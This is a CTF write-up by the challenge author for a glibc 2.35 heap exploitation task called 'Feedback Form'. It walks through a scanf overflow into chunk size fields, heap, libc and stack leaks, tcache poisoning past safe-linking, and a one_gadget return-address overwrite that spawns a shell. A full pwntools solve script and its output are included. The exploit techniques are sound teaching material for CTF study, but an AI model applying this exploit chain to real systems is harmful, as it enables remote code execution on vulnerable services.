Pwn - Feedback Form
Heap exploitation challenge from Dream 2025
This is a challenge which I authored for a ctf at Dream. The challenge is a heap exploitation challenge, and the source code and handout for the challenge can be found here. This detailed writeup covers the intended solve for this challenge.
Feedback Form
Initial Analysis
From the handout we are given a binary, feedback
, which when run shows a menu where we can add, remove, edit, and view some feedback.
1
2
3
4
5
6
$ ./feedback
1. Add feedback
2. Remove feedback
3. Edit feedback
4. View feedback
5. Exit
After some reversing of the binary, we find that the different options does the following:
1. Add
: Mallocs a 0x18 size chunk for a struct with membersvip
andrating
, and anote
chunk if we want, that we can control the size of (< 0x1000). A pointer to the 0x18 chunk (feedback chunk) is stored in a global array which can hold 16 pointers. The feedback chunk is stored at an index of our choice 0 <= idx < 16.2. Remove
: Remove a chunk of our choice from the global array to free. This also free’s and nulls out the note chunk, before freeing the feedback chunk itself.3. Edit
: Possibility to set a new rating in a feedback chunk, as well as new data in the note belonging to the chunk.4. View
: View thevip
,rating
,size
, and content of thenote
for a chunk.
The Vulnerability
From reversing the View
option we can work out the feedback structure.
1
2
3
4
5
6
struct feedback {
uint64_t vip;
char *note;
uint32_t note_size;
uint32_t rating;
};
The rating
field is a 4-byte unsigned integer, but in the Edit
option scanf("%lu%*c", &feedback_by_idx->rating)
is called, which reads an 8-byte value into the variable. Because the rating
field is the last member of the struct, and because of the size of the chunk (0x18), the extra 4 bytes will overwrite the metadata of the subsequent chunk, which stores info about the chunk’s size, in addition to some flags.
This overflow allows us to change the size of chunks, which we can abuse to get leaks and make arbitrary allocations.
Heap Leak
We start by setting up some helper-functions to interact with the menu of the binary. The code for these functions can be found here.
We need to leak a pointer from the heap in order to be able to make arbitrary allocations later in our exploit, because of a heap mitigation called safe linking
. This mitigation xor’s heap pointers used by the tcache (and fastbins) with the value heap_base_address >> 12
, thus we need a heap leak to find this value (which from here on is referred to as heap key
). Safe linking was introduced in libc after version 2.31, and this challenge uses libc version 2.35 (from the Dockerfile we see that the challenge uses Ubuntu 22.04, which uses this libc version).
Achieving a heap leak in this challenge is pretty standard, as we only need to allocate one chunk, free it, and view the chunk to get the leak in the vip
field. We do these operations because:
- Creating a feedback allocates a 0x20 chunk for us
- Freeing the chunk adds the chunk to the tcache free list, and writes the
fd
(forward pointer) to the first 8 bytes of the chunk. Thefd
value in the tcache list is the heap address of the next chunk in the list, but for the last chunk (and only chunk in our case) this pointer is 0. This is because safe-linking does the operationfd = pointer ^ heap key
, but since we only have a single freed chunk in the tcache free list (and thus it points to NULL) we getfd = 0 ^ heap key -> fd = heap key
. - Because feedback chunks are not fully nulled out after being removed, we can view a freed feedback chunk to get the
fd
value from thevip
field.
1
2
3
4
5
6
create(0) # Alloc chunk
free(0) # Free to put it in tcache free list
view(0) # View the fd pointer
heap_key = get_leak()
heap_base = heap_key << 12
log.success(f"Heap base @ {hex(heap_base)}")
Libc Leak
The standard way to get a libc leak is to allocate a chunk larger than 0x500 in size and free it. This places the chunk in the unsortedbins (not tcache free list, because it only stores small-sized chunks), which is a circular list. When there is only a single chunk in the unsorted bins the fd
(first 8 bytes of chunk) and bk
(next 8 bytes) pointers point to the main arena in libc. Our goal is to view one of these pointers, as then we can calculate the libc base address. However, because the note-pointer in the metadata chunk (containing vip, rating, etc.) is nulled out, we cannot just free and view the note chunk, so we must use the vulnerability we found.
After leaking the heap address, our heap looks like this.
We can ignore the blue 0x290 (0x291 with flags) chunk, as it contains info used by the tcache, such as the pointer to the first chunk in the different-sized free lists. The purple chunk is out chunk 0 which we used to get a heap leak. The green 8-byte field is the top chunk
, indicating the remaining size of the heap.
To get the libc leak from an unsortedbin chunk we will setup the heap so that it looks like the following:
1
2
3
4
5
6
7
------------------
| Chunk 0 |
------------------
| Chunk 1 |
------------------
| Chunk 0's note |
------------------
By setting the heap up like this we can edit the rating of chunk 0, which serves two purposes; we can edit the size of chunk 1 to fit the unsortedbins (> 0x500), we can make chunk 1 overlap chunk 0’s note. Then, we can free chunk 1 (which has a forged size), putting it into the unsortedbin. If we make a new allocation when the unsortedbin is populated, malloc will give us the whole unsortedbin chunk if we allocate its exact size, or a piece of it if we request a smaller size. Thus, if we just create a feedback without a note, malloc will allocate the first 0x20 bytes of the unsortedbin chunk for us, putting the fd
pointer into the vip
field, similar as to when we got the heap leak.
1
2
3
4
5
6
7
8
create(0) # Chunk 0
create(1) # Chunk 1
free(0) # Put chunk 0 in tcache list
create(0, False, True, 0x500, pack(0x21)*160) # Chunk 1 now splits chunk 0 and its note
edit(0, True, 0x511ffffffff) # Forge the size of chunk 1
free(1) # Free forged chunk, putting it in unsorted bin
create(2) # Reallocate start of unsortedbin chunk to get fd pointer
There is however one catch. The free(1)
call fails, giving us this error string: double free or corruption (!prev)
.
If we check the source code for malloc we see these lines of code corresponding to the error string. In short, malloc checks if the prev_inuse
bit is set in the header of the next chunk, and that this chunk has a valid size. The reason we fail this check is because we forged the size of chunk 1, so we don’t have a chunk succeeding it (this memory section is at the end of chunk 1’s note). We must therefore forge a chunk, essentially making it seem like chunk 1 and chunk 1’s note have swapped places. Luckily, this is easy, as we can just fill the note-chunk with 0x21 values until we hit the right spot. 0x21 has the prev-inuse bit set, and is a valid size (0x20).
1
2
3
4
5
6
7
8
9
10
11
create(0) # Chunk 0
create(1) # Chunk 1
free(0) # Put chunk 0 in tcache list
create(0, False, True, 0x500, pack(0x21)*160) # Chunk 1 now splits chunk 0 and its note
edit(0, True, 0x511ffffffff) # Forge the size of chunk 1
free(1) # Free forged chunk, putting it in unsorted bin
create(2) # Reallocate start of unsortedbin chunk to get fd pointer
view(2) # Get leak from "vip" field
libc.address = get_leak() - 0x21b110
log.success(f"Libc @ {hex(libc.address)}")
These images show the state of the heap during this exploitation step:
Chunk 1 (green) splits chunk 0 (purple) and its note chunk (dark blue).
The ize of chunk 1 is forged, and now overlaps part of chunk 0’s note.
The forged chunk is being freed, putting it in the unsortedbin.
We allocate a feedback chunk (green) to reallocate part of the unsortedbin chunk (dark blue, now smaller).
Arbitrary Allocation
In order to do the last two steps, which indicate finding the location of the return address on the stack, and overwrite it, we need the ability to make arbitrary allocations outside of the heap. We need this to be able to read/write values outside of the heap.
The usual technique is to exploit the tcache free list by overwriting the fd
pointer of a chunk in it with the arbitrary address we want to allocate. Then, by allocating a couple of chunks, the chunk returned by malloc will be located at that arbitrary address.
The only difference for us is that we can only write arbitrary data to note chunks, but that does not hinder us much other than that we will have to use the overflow vulnerability once again to forge chunk sizes. The fd
overwrite for chunks in the tcache free list part is exactly the same.
Our setup involves allocating and freeing four tcache chunks so that we get a tcache free list like this (0x20 and 0x40 are two different lists as tcache sorts by size, where the 0x40 note chunk originally was 0x20 in size before we forged it):
1
2
0x20: chunk 3 -> chunk 4 -> chunk 5 -> NULL
0x40: chunk 3's note
With this setup, we will have chunk 3’s note overlapping with chunk 4 before of our size-forging. Thus, we can overwrite chunk 4’s fd
pointer to point to an arbitrary address.
The 0x20 free list will then look like this:
1
0x20: chunk 3 -> chunk 4 -> arbitrary pointer
Note that we have cut off chunk 5, as we overwrote the fd
of chunk 4. When we allocate feedback chunks we will now pop allocations from the head of this list, making our third allocation being located at the arbitrary address.
With this in mind, we create the following helper-functions to give us arbitrary allocations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Mangle pointer for safe-linking
def mangle(addr, heap_key):
return addr ^ heap_key
def arb_allocate(start_idx, where):
# Allocate 4 chunks of same size
create(start_idx, False, set_note=True, size=0x18, note=b"A"*8) # Chunk A and A's note
create(start_idx+1) # Chunk B
create(start_idx+2) # Chunk C
# Change the size of A's note chunk, overlapping chunk B
edit(start_idx, True, 0x41ffffffff)
# Put chunks into tcache free list
# A -> B -> C -> NULL
free(start_idx+2) # Chunk C
free(start_idx+1) # Chunk B
free(start_idx) # Chunk A
# Overwrite "fd" pointer of chunk B
# by reallocating A, and its note chunk which overlaps B.
# Tcache free list is after this:
# B -> Arbitrary pointer
create(start_idx, False, True, size=0x38, note=b"A"*0x18 + pack(0x21) + pack(mangle(where, heap_key)))
When we overwrite chunk B we use 0x18 bytes of padding to fill chunk C, we then write the size field of chunk B (we don’t change the value), and then we overwrite the fd
pointer. Note that we must mangle
the address we want to arbitrary allocate, due to safe-linking being on in this libc version.
Stack Leak
Because we know the libc base address we can achieve a stack leak by arbitrary allocating a chunk at the location where libc stores the pointer to environ
, which is located on the stack.
1
2
3
4
5
6
7
8
9
10
11
# Empty unsortedbin by allocating exact size
# to get a "clean" heap so we can exploit easier
create(0, False, True, 0x4c0, b"A")
# Get an allocation at environ in libc,
# so we can leak a stack pointer
arb_allocate(4, libc.sym.environ)
create(5) # Chunk B
create(6) # libc.environ
view(6) # Peek at the stack address stored here
stack_leak = get_leak()
Getting Shell
As we now have our final puzzle piece, a stack leak, we can now calculate where the return address of main
is stored, and then overwrite it with a one-gadget to get a shell.
First, we calculate the location of the return address. In our case it is 0x120 bytes before the environ stack leak. In pwndbg the return address of main
can be found by using the command retaddr
, and choosing the correct one from the list.
1
2
retaddr = stack_leak - 0x120
log.success(f"Retaddr @ {hex(retaddr)}")
As we have the location of the return address, we can arbitrary allocate our way to that location, similar to how we arbitrary allocated to environ. There is only one catch, which is that the location we arbitrary allocate have to be 8 bytes before the location of the return address, because the chunk we allocate must be at a 16-byte aligned address. If it wasnt aligned we would get the error: malloc(): unaligned tcache chunk detected
We must also find a suitable one-gadget to overwrite the return address with. We get a list of candidates from the libc linked with the challenge with the command one_gadget ./libc.so.6
. There are a couple which have register-constraints that we don’t satisfy, making the one-gadgets fail. However, we can satisfy this one:
1
2
3
4
5
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
Because we have to allocate at the address retaddr-8
for alignment purposes the first 8 bytes we write will overwrite the stored base pointer, which gets stored in the rbp
register. We have leaks for the stack, libc, and heap, so we can easily overwrite rbp
with a pointer that points to NULL in either of these (satisfying [rbp-0x70] == NULL
). I chose heap_base + 0x80
for this purpose.
1
2
3
4
# Allocate a chunk at the location of the return address - 8 bytes
# and write a one-gadget to get shell
arb_allocate(7, retaddr-8)
create(8, False, True, size=0x18, note=pack(heap_base+0x80) + pack(libc.address + 0xebd3f))
Finally, to trigger the one-gadget, we just need to make the main
function return instead of exiting, which can be done by sending an invalid option in the menu (> 5).
1
2
# Send an invalid option to trigger a return from main
io.sendlineafter(b">>", b"8")
1
2
3
4
5
6
7
8
$ python3 solve.py
[+] Heap base @ 0x60b945cb7000
[+] Libc @ 0x70dd50400000
[+] Retaddr @ 0x7ffd8d992998
[*] Switching to interactive mode
Invalid option!
$ cat flag.txt
DREAM{H3ap5_0f_f33db4ck!}
Full Solve Script
The full solve script can be found here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF(args.EXE or './feedback', checksec=False)
libc = exe.libc
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 9001)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.REMOTE:
return start_remote(argv, *a, **kw)
else:
return start_local(argv, *a, **kw)
gdbscript = '''
tbreak main
set max-visualize-chunk-size 0x50
continue
'''.format(**locals())
# -- Exploit goes here --
io = start()
def create(idx, vip=False, set_note: bool=False, size=0, note=b""):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"vip? (y/n):", b"y" if vip else b"n")
io.sendlineafter(b"rating: ", str(idx).encode())
io.sendlineafter(b"to the rating? (y/n):", b"y" if set_note else b"n")
if set_note:
io.sendlineafter(b"size: ", str(size).encode())
io.sendlineafter(b"note: ", note)
def free(idx):
io.sendlineafter(b">> ", b"2")
io.sendlineafter(b"idx: ", str(idx).encode())
def edit(idx, new_rating: bool=False, new_rating_val=0, new_note: bool=False, new_note_val=0):
io.sendlineafter(b">> ", b"3")
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"new rating? (y/n):", b"y" if new_rating else b"n")
if new_rating:
if isinstance(new_rating_val, int):
io.sendlineafter(b"new rating:", str(new_rating_val).encode())
else:
io.sendlineafter(b"new rating:", new_rating_val)
io.sendlineafter(b"new note? (y/n):", b"y" if new_note else b"n")
if new_note:
io.sendlineafter(b"new note:", new_note_val)
def view(idx):
io.sendlineafter(b">> ", b"4")
io.sendlineafter(b"idx: ", str(idx).encode())
def get_leak():
io.recvuntil(b"vip: ")
return int(io.recvline().rstrip())
# Mangle pointer for safe-linking
def mangle(addr, heap_key):
return addr ^ heap_key
def arb_allocate(start_idx, where):
# Allocate 4 chunks of same size
create(start_idx, False, set_note=True, size=0x18, note=b"A"*8) # Chunk A and A's note
create(start_idx+1) # Chunk B
create(start_idx+2) # Chunk C
# Change the size of A's note chunk, overlapping chunk B
edit(start_idx, True, 0x41ffffffff)
# Put chunks into tcache free list
# A -> B -> C -> NULL
free(start_idx+2) # Chunk C
free(start_idx+1) # Chunk B
free(start_idx) # Chunk A
# Overwrite "fd" pointer of chunk B
# by reallocating A, and its note chunk which overlaps B.
# Tcache free list is after this:
# B -> Arbitrary pointer
create(start_idx, False, True, size=0x38, note=b"A"*0x18 + pack(0x21) + pack(mangle(where, heap_key)))
#################
### Heap leak ###
#################
create(0) # Alloc chunk
free(0) # Free to put it in tcache free list
view(0) # View the fd pointer
heap_key = get_leak()
heap_base = heap_key << 12
log.success(f"Heap base @ {hex(heap_base)}")
# input("Heap state")
#################
### Libc leak ###
#################
create(0) # Chunk 0
create(1) # Chunk 1
free(0) # Put chunk 0 in tcache list
create(0, False, True, 0x500, pack(0x21)*160) # Chunk 1 now splits chunk 0 and its note
# input("Splitted")
edit(0, True, 0x511ffffffff) # Forge the size of chunk 1
free(1) # Free forged chunk, putting it in unsorted bin
create(2) # Reallocate start of unsortedbin chunk to get fd pointer
view(2) # Get leak from "vip" field
libc.address = get_leak() - 0x21b110
log.success(f"Libc @ {hex(libc.address)}")
##################
### Stack leak ###
##################
# Empty unsortedbin by allocating exact size
# to get a "clean" heap so we can exploit easier
create(0, False, True, 0x4c0, b"A")
# Get an allocation at environ in libc,
# so we can leak a stack pointer
arb_allocate(4, libc.sym.environ)
create(5) # Chunk B
create(6) # libc.environ
view(6) # Peek at the stack address stored here
stack_leak = get_leak()
retaddr = stack_leak - 0x120
log.success(f"Retaddr @ {hex(retaddr)}")
#############
### Shell ###
#############
# Allocate a chunk at the location of the return address - 8 bytes
# and write a one-gadget to get shell
arb_allocate(7, retaddr-8)
create(8, False, True, size=0x18, note=pack(heap_base+0x80) + pack(libc.address + 0xebd3f))
# Send an invalid option to trigger a return from main
io.sendlineafter(b">>", b"8")
io.interactive()